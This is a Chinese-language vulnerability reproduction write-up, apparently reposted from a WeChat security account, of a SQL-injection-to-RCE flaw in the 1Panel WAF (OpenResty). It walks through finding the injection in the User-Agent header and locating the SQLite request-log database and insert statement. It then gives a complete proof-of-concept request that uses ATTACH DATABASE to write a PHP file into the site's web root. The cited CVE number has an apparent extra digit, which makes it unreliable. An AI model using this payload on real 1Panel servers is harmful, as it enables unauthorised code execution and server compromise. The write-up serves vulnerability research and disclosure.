0x01 测试版本
v1.10.10-lts
1panel/openresty:1.21.4.3-3-1-focal
0x02 影响范围
waf
网站监视(需专业版)
0x03 waf功能
利用条件:
开启waf功能
安装有1P-openresty容器且搭建有php环境网站
3.1发现注入
触发waf的规则
可以看到在waf拦截记录里面记录了
http://URL/xpack/waf/websites
直接测试有没有注入
User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b
可以看到最近得到的是拼接后的结果,这里存在注入
3.2文件定位
进入op到容器里面
docker exec -it 8fbeeb7b4dbc /bin/bash
数据库的路径位于,是SQLite数据库
/usr/local/openresty/1pwaf/data/db/
里面有两个数据库文件,1pwaf.db跟 req_log.db,一个是记录的waf的开关情况配置等,另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着
然后把db文件拷贝到宿主机上分析一下,后面发现就在1panel的文件路径里面就有不需要特意进入到容器/opt/1panel/
docker cp 8fbeeb7b4dbc:/usr/local/openresty/1pwaf/data/db/req_log.db ./
可以看到我们的拦截记录就在这里面
然后通过搜索找到的插入语句在
/usr/local/openresty/1pwaf/lib/attack_log.lua
打开可以看到执行的sql语句
84835-2s8mjzqjhtg.png
INSERT INTO req_logs (
id, ip, ip_iso, ip_country_zh, ip_country_en,
ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime,
time,server_name, website_key, host, method,
uri, user_agent, exec_rule, rule_type, match_rule, match_value,
nginx_log, blocking_time, action, is_block, is_attack
) VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', %d, %d, DATETIME('now'),
%f, '%s', '%s', '%s', '%s',
'%s', '%s', '%s', '%s', '%s', '%s',
'%s', %d, '%s', %d, %d
)
我们的可控点在第二个插入参数的位置
VALUES (
'%s', '%s', '%s', '%s', '%s',
'%s', '%s', %d, %d, DATETIME('now'),
%f, '%s', '%s', '%s', '%s',
'%s', '可控点', '%s', '%s', '%s', '%s',
'%s', %d, '%s', %d, %d
)
3.3 Getshell
构造好poc
ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
然后这里利用ua头位置注入来写入文件
GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
Connection: close
访问成功执行
这里利用只要开启waf功能即可
原文始发于微信公众号(船山信安):CVE-2024-399111 PanelRCE漏洞复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论